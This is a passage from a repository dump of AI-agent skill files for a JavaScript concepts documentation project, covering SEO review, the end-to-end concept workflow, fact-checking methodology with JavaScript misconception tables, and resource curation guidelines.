4. **Audit content structure:**
- Question hook opening
- Code in first 200 words
- "What you'll learn" box
- Short paragraphs
5. **Audit featured snippet optimization:**
- 40-60 word definition after "What is" H2
- Question-format H2s
- Numbered steps for how-to content
6. **Audit internal linking:**
- 3-5 related concepts linked
- Descriptive anchor text
- Related Concepts section complete
7. **Calculate score** and fix any issues
### Deliverables
- SEO audit report with score (X/27)
- All high-priority fixes implemented
### Quality Gates
Before marking complete:
- [ ] Score 24+ out of 27 (90%+)
- [ ] Title optimized
- [ ] Meta description optimized
- [ ] Keywords placed naturally
- [ ] Featured snippet optimized
- [ ] Internal links complete
---
## Complete Workflow Checklist
Use this master checklist to track progress through all phases.
```markdown
# Concept Workflow: [Concept Name]
**Started:** YYYY-MM-DD
**Target Category:** {category}
**File Path:** `/docs/concepts/{concept-name}.mdx`
**Test Path:** `/tests/{category}/{concept-name}/`
---
## Phase 1: Resource Curation
- [ ] MDN references found (2-4)
- [ ] Articles found (4-6)
- [ ] Videos found (3-4)
- [ ] All links verified working
- [ ] Descriptions written (specific, 2 sentences)
- [ ] Resources formatted as Cards
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 2: Concept Writing
- [ ] Frontmatter complete
- [ ] Opening hook written
- [ ] Opening code example added
- [ ] "What you'll learn" box added
- [ ] Main content sections written
- [ ] Key Takeaways added
- [ ] Test Your Knowledge added
- [ ] Related Concepts added
- [ ] Resources pasted from Phase 1
- [ ] Added to docs.json (if new)
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 3: Test Writing
- [ ] Code examples extracted and categorized
- [ ] Test file created
- [ ] DOM test file created (if needed)
- [ ] All testable examples have tests
- [ ] Source line references added
- [ ] Tests run and passing
**Test Results:** X passing, X failing
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 4: Fact Checking
- [ ] All tests passing
- [ ] Code examples verified accurate
- [ ] MDN links checked (X/X valid)
- [ ] External resources checked (X/X valid)
- [ ] Technical claims audited
- [ ] No misconceptions found
- [ ] Issues fixed
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 5: SEO Review
- [ ] Title tag optimized (50-60 chars)
- [ ] Meta description optimized (150-160 chars)
- [ ] Keywords placed correctly
- [ ] Content structure verified
- [ ] Featured snippet optimized
- [ ] Internal links complete
**SEO Score:** X/27 (X%)
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Final Status
**All Phases Complete:** ⬜ No | ✅ Yes
**Ready to Publish:** ⬜ No | ✅ Yes
**Completed:** YYYY-MM-DD
```
---
## Execution Instructions
When executing this workflow, follow these steps:
### Step 1: Initialize
```markdown
Starting concept workflow for: [CONCEPT NAME]
Category: [fundamentals/functions-execution/web-platform/etc.]
File: /docs/concepts/[concept-name].mdx
Tests: /tests/[category]/[concept-name]/
```
### Step 2: Execute Each Phase
For each phase:
1. **Announce the phase:**
```markdown
## Phase X: [Phase Name]
Using skill: [skill-name]
```
2. **Load the skill** to get detailed instructions
3. **Execute the phase** following the skill's methodology
4. **Report completion:**
```markdown
Phase X complete:
- [Deliverable 1]
- [Deliverable 2]
- Quality gates: ✅ All passed
```
5. **Move to next phase** only after quality gates pass
### Step 3: Final Report
After all phases complete:
```markdown
# Workflow Complete: [Concept Name]
## Summary
- **Concept Page:** `/docs/concepts/[concept-name].mdx`
- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js`
- **Word Count:** X,XXX words
- **Code Examples:** XX (XX tested)
- **Resources:** X MDN, X articles, X videos
## Quality Metrics
- **Tests:** XX passing
- **Fact Check:** ✅ All verified
- **SEO Score:** XX/27 (XX%)
## Files Created/Modified
1. `/docs/concepts/[concept-name].mdx` (created)
2. `/docs/docs.json` (updated navigation)
3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created)
## Ready to Publish: ✅ Yes
```
---
## Phase Dependencies
Some phases can be partially parallelized, but the general flow should be:
```
Phase 1 (Resources) ──┐
├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐
│ │
│ ┌───────────────────────────────────┘
│ ▼
└──► Phase 4 (Fact Check) ──► Phase 5 (SEO)
```
- **Phase 1 before Phase 2:** Resources inform what to write
- **Phase 2 before Phase 3:** Need content before writing tests
- **Phase 3 before Phase 4:** Tests are part of fact-checking
- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish
---
## Skill Reference
| Phase | Skill | Purpose |
|-------|-------|---------|
| 1 | `resource-curator` | Find and evaluate external resources |
| 2 | `write-concept` | Write the documentation page |
| 3 | `test-writer` | Generate tests for code examples |
| 4 | `fact-check` | Verify technical accuracy |
| 5 | `seo-review` | Optimize for search visibility |
Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance.
---
## Time Estimates
| Phase | Estimated Time | Notes |
|-------|---------------|-------|
| Phase 1: Resources | 15-30 min | Depends on availability of quality resources |
| Phase 2: Writing | 1-3 hours | Depends on concept complexity |
| Phase 3: Tests | 30-60 min | Depends on number of code examples |
| Phase 4: Fact Check | 15-30 min | Most automated via tests |
| Phase 5: SEO | 15-30 min | Mostly checklist verification |
| **Total** | **2-5 hours** | For a complete concept page |
---
## Quick Start
To start the workflow for a new concept:
```
1. Determine the concept name and category
2. Load this skill (concept-workflow)
3. Execute Phase 1: Load resource-curator, find resources
4. Execute Phase 2: Load write-concept, write the page
5. Execute Phase 3: Load test-writer, create tests
6. Execute Phase 4: Load fact-check, verify accuracy
7. Execute Phase 5: Load seo-review, optimize SEO
8. Generate final report
9. Commit changes
```
**Example prompt to start:**
> "Create a complete concept page for 'hoisting' using the concept-workflow skill"
This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page.
================================================
FILE: .claude/skills/fact-check/SKILL.md
================================================
---
name: fact-check
description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation
---
# Skill: JavaScript Fact Checker
Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript.
## When to Use
- Before publishing a new concept page
- After significant edits to existing content
- When reviewing community contributions
- When updating pages with new JavaScript features
- Periodic accuracy audits of existing content
## What We're Protecting Against
- Incorrect JavaScript behavior claims
- Outdated information (pre-ES6 patterns presented as current)
- Code examples that don't produce stated outputs
- Broken or misleading external resource links
- Common misconceptions stated as fact
- Browser-specific behavior presented as universal
- Inaccurate API descriptions
---
## Fact-Checking Methodology
Follow these five phases in order for a complete fact check.
### Phase 1: Code Example Verification
Every code example in the concept page must be verified for accuracy.
#### Step-by-Step Process
1. **Identify all code blocks** in the document
2. **For each code block:**
- Read the code and any output comments (e.g., `// "string"`)
- Mentally execute the code or test in a JavaScript environment
- Verify the output matches what's stated in comments
- Check that variable names and logic are correct
3. **For "wrong" examples (marked with ❌):**
- Verify they actually produce the wrong/unexpected behavior
- Confirm the explanation of why it's wrong is accurate
4. **For "correct" examples (marked with ✓):**
- Verify they work as stated
- Confirm they follow current best practices
5. **Run project tests:**
```bash
# Run all tests
npm test
# Run tests for a specific concept
npm test -- tests/fundamentals/call-stack/
npm test -- tests/fundamentals/primitive-types/
```
6. **Check test coverage:**
- Look in `/tests/{category}/{concept-name}/`
- Verify tests exist for major code examples
- Flag examples without test coverage
#### Code Verification Checklist
| Check | How to Verify |
|-------|---------------|
| `console.log` outputs match comments | Run code or trace mentally |
| Variables are correctly named/used | Read through logic |
| Functions return expected values | Trace execution |
| Async code resolves in stated order | Understand event loop |
| Error examples actually throw | Test in try/catch |
| Array/object methods return correct types | Check MDN |
| `typeof` results are accurate | Test common cases |
| Strict mode behavior noted if relevant | Check if example depends on it |
#### Common Output Mistakes to Catch
```javascript
// Watch for these common mistakes:
// 1. typeof null
typeof null // "object" (not "null"!)
// 2. Array methods that return new arrays vs mutate
const arr = [1, 2, 3]
arr.push(4) // Returns 4 (length), not the array!
arr.map(x => x*2) // Returns NEW array, doesn't mutate
// 3. Promise resolution order
Promise.resolve().then(() => console.log('micro'))
setTimeout(() => console.log('macro'), 0)
console.log('sync')
// Output: sync, micro, macro (NOT sync, macro, micro)
// 4. Comparison results
[] == false // true
[] === false // false
![] // false (empty array is truthy!)
// 5. this binding
const obj = {
name: 'Alice',
greet: () => console.log(this.name) // undefined! Arrow has no this
}
```
---
### Phase 2: MDN Documentation Verification
All claims about JavaScript APIs, methods, and behavior should align with MDN documentation.
#### Step-by-Step Process
1. **Check all MDN links:**
- Click each MDN link in the document
- Verify the link returns 200 (not 404)
- Confirm the linked page matches what's being referenced
2. **Verify API descriptions:**
- Compare method signatures with MDN
- Check parameter names and types
- Verify return types
- Confirm edge case behavior
3. **Check for deprecated APIs:**
- Look for deprecation warnings on MDN
- Flag any deprecated methods being taught as current
4. **Verify browser compatibility claims:**
- Cross-reference with MDN compatibility tables
- Check Can I Use for broader support data
#### MDN Link Patterns
| Content Type | MDN URL Pattern |
|--------------|-----------------|
| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` |
| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` |
| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
#### What to Verify Against MDN
| Claim Type | What to Check |
|------------|---------------|
| Method signature | Parameters, optional params, return type |
| Return value | Exact type and possible values |
| Side effects | Does it mutate? What does it affect? |
| Exceptions | What errors can it throw? |
| Browser support | Compatibility tables |
| Deprecation status | Any deprecation warnings? |
---
### Phase 3: ECMAScript Specification Compliance
For nuanced JavaScript behavior, verify against the ECMAScript specification.
#### When to Check the Spec
- Edge cases and unusual behavior
- Claims about "how JavaScript works internally"
- Type coercion rules
- Operator precedence
- Execution order guarantees
- Claims using words like "always", "never", "guaranteed"
#### How to Navigate the Spec
The ECMAScript specification is at: https://tc39.es/ecma262/
| Concept | Spec Section |
|---------|--------------|
| Type coercion | Abstract Operations (7.1) |
| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) |
| typeof | The typeof Operator (13.5.3) |
| Objects | Ordinary and Exotic Objects' Behaviours (10) |
| Functions | ECMAScript Function Objects (10.2) |
| this binding | ResolveThisBinding (9.4.4) |
| Promises | Promise Objects (27.2) |
| Iteration | Iteration (27.1) |
#### Spec Verification Examples
```javascript
// Claim: "typeof null returns 'object' due to a bug"
// Spec says: typeof null → "object" (Table 41)
// Historical context: This is a known quirk from JS 1.0
// Verdict: ✓ Correct, though calling it a "bug" is slightly informal
// Claim: "Promises always resolve asynchronously"
// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2)
// Verdict: ✓ Correct - even resolved promises schedule microtasks
// Claim: "=== is faster than =="
// Spec says: Nothing about performance
// Verdict: ⚠️ Needs nuance - this is implementation-dependent
```
---
### Phase 4: External Resource Verification
All external links (articles, videos, courses) must be verified.
#### Step-by-Step Process
1. **Check link accessibility:**
- Click each external link
- Verify it loads (not 404, not paywalled)
- Note any redirects to different URLs
2. **Verify content accuracy:**
- Skim the resource for obvious errors
- Check it's JavaScript-focused (not C#, Python, Java)
- Verify it's not teaching anti-patterns
3. **Check publication date:**
- For time-sensitive topics (async, modules, etc.), prefer recent content
- Flag resources from before 2015 for ES6+ topics
4. **Verify description accuracy:**
- Does our description match what the resource actually covers?
- Is the description specific (not generic)?
#### External Resource Checklist
| Check | Pass Criteria |
|-------|---------------|
| Link works | Returns 200, content loads |
| Not paywalled | Free to access (or clearly marked) |
| JavaScript-focused | Not primarily about other languages |
| Not outdated | Post-2015 for modern JS topics |
| Accurate description | Our description matches actual content |
| No anti-patterns | Doesn't teach bad practices |
| Reputable source | From known/trusted creators |
#### Red Flags in External Resources
- Uses `var` everywhere for ES6+ topics
- Uses callbacks for content about Promises/async
- Teaches jQuery as modern DOM manipulation
- Contains factual errors about JavaScript
- Video is >2 hours without timestamp links
- Content is primarily about another language
- Uses deprecated APIs without noting deprecation
---
### Phase 5: Technical Claims Audit
Review all prose claims about JavaScript behavior.
#### Claims That Need Verification
| Claim Type | How to Verify |
|------------|---------------|
| Performance claims | Need benchmarks or caveats |
| Browser behavior | Specify which browsers, check MDN |
| Historical claims | Verify dates/versions |
| "Always" or "never" statements | Check for exceptions |
| Comparisons (X vs Y) | Verify both sides accurately |
#### Red Flags in Technical Claims
- "Always" or "never" without exceptions noted
- Performance claims without benchmarks
- Browser behavior claims without specifying browsers
- Comparisons that oversimplify differences
- Historical claims without dates
- Claims about "how JavaScript works" without spec reference
#### Examples of Claims to Verify
```markdown
❌ "async/await is always better than Promises"
→ Verify: Not always - Promise.all() is better for parallel operations
❌ "JavaScript is an interpreted language"
→ Verify: Modern JS engines use JIT compilation
❌ "Objects are passed by reference"
→ Verify: Technically "passed by sharing" - the reference is passed by value
❌ "=== is faster than =="
→ Verify: Implementation-dependent, not guaranteed by spec
✓ "JavaScript is single-threaded"
→ Verify: Correct for the main thread (Web Workers are separate)
✓ "Promises always resolve asynchronously"
→ Verify: Correct per ECMAScript spec
```
---
## Common JavaScript Misconceptions
Watch for these misconceptions being stated as fact.
### Type System Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions |
| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types |
| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern |
| `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard |
### Function Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec |
| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN |
| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec |
| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them |
### Async Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation |
| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable |
| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test |
| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test |
### Object Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test |
| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test |
| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN |
| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test |
### Performance Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary |
| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark |
| Arrow functions are faster | No performance difference, just different behavior | Benchmark |
| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case |
---
## Test Integration
Running the project's test suite is a key part of fact-checking.
### Test Commands
```bash
# Run all tests
npm test
# Run tests in watch mode
npm run test:watch
# Run tests with coverage
npm run test:coverage
# Run tests for specific concept
npm test -- tests/fundamentals/call-stack/
npm test -- tests/fundamentals/primitive-types/
npm test -- tests/fundamentals/value-reference-types/
npm test -- tests/fundamentals/type-coercion/
npm test -- tests/fundamentals/equality-operators/
npm test -- tests/fundamentals/scope-and-closures/
```
### Test Directory Structure
```
tests/
├── fundamentals/ # Concepts 1-6
│ ├── call-stack/
│ ├── primitive-types/
│ ├── value-reference-types/
│ ├── type-coercion/
│ ├── equality-operators/
│ └── scope-and-closures/
├── functions-execution/ # Concepts 7-8
│ ├── event-loop/
│ └── iife-modules/
└── web-platform/ # Concepts 9-10
├── dom/
└── http-fetch/
```
### When Tests Are Missing
If a concept doesn't have tests:
1. Flag this in the report as "needs test coverage"
2. Manually verify code examples are correct
3. Consider adding tests as a follow-up task
---
## Verification Resources
### Primary Sources
| Resource | URL | Use For |
|----------|-----|---------|
| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility |
| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior |
| TC39 Proposals | https://github.com/tc39/proposals | New features, stages |
| Can I Use | https://caniuse.com | Browser compatibility |
| Node.js Docs | https://nodejs.org/docs | Node-specific APIs |
| V8 Blog | https://v8.dev/blog | Engine internals |
### Project Resources
| Resource | Path | Use For |
|----------|------|---------|
| Test Suite | `/tests/` | Verify code examples |
| Concept Pages | `/docs/concepts/` | Current content |
| Run Tests | `npm test` | Execute all tests |
---
## Fact Check Report Template
Use this template to document your findings.
```markdown
# Fact Check Report: [Concept Name]
**File:** `/docs/concepts/[slug].mdx`
**Date:** YYYY-MM-DD
**Reviewer:** [Name/Claude]
**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues
---
## Executive Summary
[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.]
**Tests Run:** Yes/No
**Test Results:** X passing, Y failing
**External Links Checked:** X/Y valid
---
## Phase 1: Code Example Verification
| # | Description | Line | Status | Notes |
|---|-------------|------|--------|-------|
| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
### Code Issues Found
#### Issue 1: [Title]
**Location:** Line XX
**Severity:** Critical/Major/Minor
**Current Code:**
```javascript
// The problematic code
```
**Problem:** [Explanation of what's wrong]
**Correct Code:**
```javascript
// The corrected code
```
---
## Phase 2: MDN/Specification Verification
| Claim | Location | Source | Status | Notes |
|-------|----------|--------|--------|-------|
| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] |
### MDN Link Status
| Link Text | URL | Status |
|-----------|-----|--------|
| [Text] | [URL] | ✅ 200 / ❌ 404 |
### Specification Discrepancies
[If any claims don't match the ECMAScript spec, detail them here]
---
## Phase 3: External Resource Verification
| Resource | Type | Link | Content | Notes |
|----------|------|------|---------|-------|
| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] |
### Broken Links
1. **Line XX:** [URL] - 404 Not Found
2. **Line YY:** [URL] - Domain expired
### Content Concerns
1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns]
### Description Accuracy
| Resource | Description Accurate? | Notes |
|----------|----------------------|-------|
| [Title] | ✅/❌ | [Notes] |
---
## Phase 4: Technical Claims Audit
| Claim | Location | Verdict | Notes |
|-------|----------|---------|-------|
| "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] |
### Claims Needing Revision
1. **Line XX:** "[Current claim]"
- **Issue:** [What's wrong]
- **Suggested:** "[Revised claim]"
---
## Phase 5: Test Results
**Test File:** `/tests/[category]/[concept]/[concept].test.js`
**Tests Run:** XX
**Passing:** XX
**Failing:** XX
### Failing Tests
| Test Name | Expected | Actual | Related Doc Line |
|-----------|----------|--------|------------------|
| [Test] | [Expected] | [Actual] | Line XX |
### Coverage Gaps
Examples in documentation without corresponding tests:
- [ ] Line XX: [Description of untested example]
- [ ] Line YY: [Description of untested example]
---
## Issues Summary
### Critical (Must Fix Before Publishing)
1. **[Issue title]**
- Location: Line XX
- Problem: [Description]
- Fix: [How to fix]
### Major (Should Fix)
1. **[Issue title]**
- Location: Line XX
- Problem: [Description]
- Fix: [How to fix]
### Minor (Nice to Have)
1. **[Issue title]**
- Location: Line XX
- Suggestion: [Improvement]
---
## Recommendations
1. **[Priority 1]:** [Specific actionable recommendation]
2. **[Priority 2]:** [Specific actionable recommendation]
3. **[Priority 3]:** [Specific actionable recommendation]
---
## Verification Checklist
- [ ] All code examples verified for correct output
- [ ] All MDN links checked and valid
- [ ] API descriptions match MDN documentation
- [ ] ECMAScript compliance verified (if applicable)
- [ ] All external resource links accessible
- [ ] Resource descriptions accurately represent content
- [ ] No common JavaScript misconceptions found
- [ ] Technical claims are accurate and nuanced
- [ ] Project tests run and reviewed
- [ ] Report complete and ready for handoff
---
## Sign-off
**Verified by:** [Name/Claude]
**Date:** YYYY-MM-DD
**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed
```
---
## Quick Reference: Verification Commands
```bash
# Run all tests
npm test
# Run specific concept tests
npm test -- tests/fundamentals/call-stack/
# Check for broken links (if you have a link checker)
# Install: npm install -g broken-link-checker
# Run: blc https://developer.mozilla.org/... -ro
# Quick JavaScript REPL for testing
node
> typeof null
'object'
> [1,2,3].map(x => x * 2)
[ 2, 4, 6 ]
```
---
## Summary
When fact-checking a concept page:
1. **Run tests first** — `npm test` catches code errors automatically
2. **Verify every code example** — Output comments must match reality
3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility
4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused
5. **Audit technical claims** — Watch for misconceptions and unsupported statements
6. **Document everything** — Use the report template for consistent, thorough reviews
**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously.
================================================
FILE: .claude/skills/resource-curator/SKILL.md
================================================
---
name: resource-curator
description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links
---
# Skill: Resource Curator for Concept Pages
Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content.
## When to Use
- Adding resources to a new concept page
- Refreshing resources on existing pages
- Auditing for broken or outdated links
- Reviewing community-contributed resources
- Periodic link maintenance
## Resource Curation Methodology
Follow these five phases for comprehensive resource curation.
### Phase 1: Audit Existing Resources
Before adding new resources, audit what's already there:
1. **Check link accessibility** — Does each link return 200?
2. **Verify content accuracy** — Is the content still correct?
3. **Check publication dates** — Is it too old for the topic?
4. **Identify outdated content** — Does it use old syntax/patterns?
5. **Review descriptions** — Are they specific or generic?
### Phase 2: Identify Resource Gaps
Compare current resources against targets:
| Section | Target Count | Icon |
|---------|--------------|------|
| Reference | 2-4 MDN links | `book` |
| Articles | 4-6 articles | `newspaper` |
| Videos | 3-4 videos | `video` |
| Courses | 1-3 (optional) | `graduation-cap` |
| Books | 1-2 (optional) | `book` |
Ask:
- Are there enough resources for beginners AND advanced learners?
- Is there visual content (diagrams, animations)?
- Are official references (MDN) included?
- Is there diversity in teaching styles?
### Phase 3: Find New Resources
Search trusted sources using targeted queries:
**For Articles:**
```
[concept] javascript tutorial site:javascript.info
[concept] javascript explained site:freecodecamp.org
[concept] javascript site:dev.to
[concept] javascript deep dive site:2ality.com
[concept] javascript guide site:css-tricks.com
```
**For Videos:**
```
YouTube: [concept] javascript explained
YouTube: [concept] javascript tutorial
YouTube: jsconf [concept]
YouTube: [concept] javascript fireship
YouTube: [concept] javascript web dev simplified
```
**For MDN:**
```
[concept] site:developer.mozilla.org
[API name] MDN
```
### Phase 4: Write Descriptions
Every resource needs a specific, valuable description:
**Formula:**
```
Sentence 1: What makes this resource unique OR what it specifically covers
Sentence 2: Why reader should click (what they'll gain, who it's best for)
```
### Phase 5: Format and Organize
- Use correct Card syntax with proper icons
- Order resources logically (foundational first, advanced later)
- Ensure consistent formatting
---
## Trusted Sources
### Reference Sources (Priority Order)
| Priority | Source | URL | Best For |
|----------|--------|-----|----------|
| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility |
| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior |
| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs |
| 4 | Web.dev | web.dev | Performance, best practices |
| 5 | Can I Use | caniuse.com | Browser compatibility |
### Article Sources (Priority Order)
| Priority | Source | Why Trusted |
|----------|--------|-------------|
| 1 | javascript.info | Comprehensive, exercises, well-maintained |
| 2 | MDN Guides | Official, accurate, regularly updated |
| 3 | freeCodeCamp | Beginner-friendly, practical |
| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused |
| 5 | CSS-Tricks | DOM, visual topics, well-written |
| 6 | dev.to (Lydia Hallie) | Visual explanations, animations |
| 7 | LogRocket Blog | Practical tutorials, real-world |
| 8 | Smashing Magazine | In-depth, well-researched |
| 9 | Digital Ocean | Clear tutorials, examples |
| 10 | Kent C. Dodds | Testing, React, best practices |
### Video Creators (Priority Order)
| Priority | Creator | Style | Best For |
|----------|---------|-------|----------|
| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS |
| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals |
| 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" |
| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage |
| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth |
| 6 | Academind | Thorough explanations | Complete understanding |
| 7 | The Coding Train | Creative, visual | Visual learners |
| 8 | Wes Bos | Practical, real-world | Applied learning |
| 9 | The Net Ninja | Step-by-step tutorials | Following along |
| 10 | Programming with Mosh | Professional, clear | Career-focused |
### Course Sources
| Source | Type | Notes |
|--------|------|-------|
| javascript.info | Free | Comprehensive, exercises |
| Piccalilli | Free | Well-written, modern |
| freeCodeCamp | Free | Project-based |
| Frontend Masters | Paid | Expert instructors |
| Egghead.io | Paid | Short, focused lessons |
| Udemy (top-rated) | Paid | Check reviews carefully |
| Codecademy | Freemium | Interactive |
---
## Quality Criteria
### Must Have (Required)
- [ ] **Link works** — Returns 200 (not 404, 301, 5xx)
- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc.
- [ ] **Technically accurate** — No factual errors or anti-patterns
- [ ] **Accessible** — Free or has meaningful free preview
### Should Have (Preferred)
- [ ] **Recent enough** — See publication date guidelines below
- [ ] **Reputable source** — From trusted sources list or well-known creator
- [ ] **Unique perspective** — Not duplicate of existing resources
- [ ] **Appropriate depth** — Matches concept complexity
- [ ] **Good engagement** — Positive comments, high views (for videos)
### Red Flags (Reject)
| Red Flag | Why It Matters |
|----------|----------------|
| Uses `var` everywhere | Outdated for ES6+ topics |
| Teaches anti-patterns | Harmful to learners |
| Primarily other languages | Wrong focus |
| Hard paywall (no preview) | Inaccessible |
| Pre-2015 for modern topics | Likely outdated |
| Low quality comments | Often indicates issues |
| Factual errors | Spreads misinformation |
| Clickbait title, thin content | Wastes reader time |
---
## Publication Date Guidelines
| Topic Category | Minimum Year | Reasoning |
|----------------|--------------|-----------|
| **ES6+ Features** | 2015+ | ES6 released June 2015 |
| **Promises** | 2015+ | Native Promises in ES6 |
| **async/await** | 2017+ | ES2017 feature |
| **ES Modules** | 2018+ | Stable browser support |
| **Optional chaining (?.)** | 2020+ | ES2020 feature |
| **Nullish coalescing (??)** | 2020+ | ES2020 feature |
| **Top-level await** | 2022+ | ES2022 feature |
| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change |
| **DOM manipulation** | 2018+ | Modern APIs preferred |
| **Fetch API** | 2017+ | Widespread support |
**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent.
---
## Description Writing Guide
### The Formula
```
Sentence 1: What makes this resource unique OR what it specifically covers
Sentence 2: Why reader should click (what they'll gain, who it's best for)
```
### Good Examples
```markdown
Animated GIFs showing the call stack, microtask queue, and event loop in action.
The visuals make Promise execution order finally click for visual learners.
The legendary JSConf talk that made the event loop click for millions of developers.
Philip Roberts' live visualizations are the gold standard — a must-watch.
Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior.
Goes beyond the basics into edge cases and mental models for truly understanding scope.
Quick, clear explanation covering Promise creation, chaining, and error handling.
Perfect starting point if you're new to async JavaScript.
The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear.
Essential reading once you know async/await basics but want to write faster code.
```
### Bad Examples (Avoid)
```markdown
A comprehensive guide to Promises in JavaScript.
This video explains closures in JavaScript.
Everything you need to know about JavaScript.
A video about understanding the event loop.
```
### Words and Phrases to Avoid
| Avoid | Why | Use Instead |
|-------|-----|-------------|
| "comprehensive guide to..." | Vague, overused | Specify what's covered |
| "learn all about..." | Generic | What specifically will they learn? |
| "everything you need to know..." | Hyperbolic | Be specific |
| "great tutorial on..." | Subjective filler | Why is it great? |
| "explains X" | Too basic | How does it explain? What's unique? |
| "in-depth look at..." | Vague | What depth? What aspect? |
### Words and Phrases That Work
| Good Phrase | Example |
|-------------|---------|
| "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" |
| "visual explanation" | "Visual explanation with animated diagrams" |
| "deep dive into" | "Deep dive into V8's optimization strategies" |
| "practical examples of" | "Practical examples of closures in React hooks" |
| "the go-to reference for" | "The go-to reference for array method signatures" |
| "finally makes X click" | "Finally makes prototype chains click" |
| "perfect for beginners" | "Perfect for beginners new to async code" |
| "covers X, Y, and Z" | "Covers creation, chaining, and error handling" |
---
## Link Audit Process
### Step 1: Check Each Link
For each resource in the concept page:
1. **Click the link** — Does it load?
2. **Note the HTTP status:**
| Status | Meaning | Action |
|--------|---------|--------|
| 200 | OK | Keep, continue to content check |
| 301/302 | Redirect | Update to final URL |
| 404 | Not Found | Remove or find replacement |
| 403 | Forbidden | Check manually, may be geo-blocked |
| 5xx | Server Error | Retry later, may be temporary |
### Step 2: Content Verification
For each accessible link:
1. **Skim the content** — Is it still accurate?
2. **Check the date** — When was it published/updated?
3. **Verify JavaScript focus** — Is it primarily about JS?
4. **Look for red flags** — Anti-patterns, errors, outdated syntax
### Step 3: Description Review
For each resource:
1. **Read current description** — Is it specific?
2. **Compare to actual content** — Does it match?
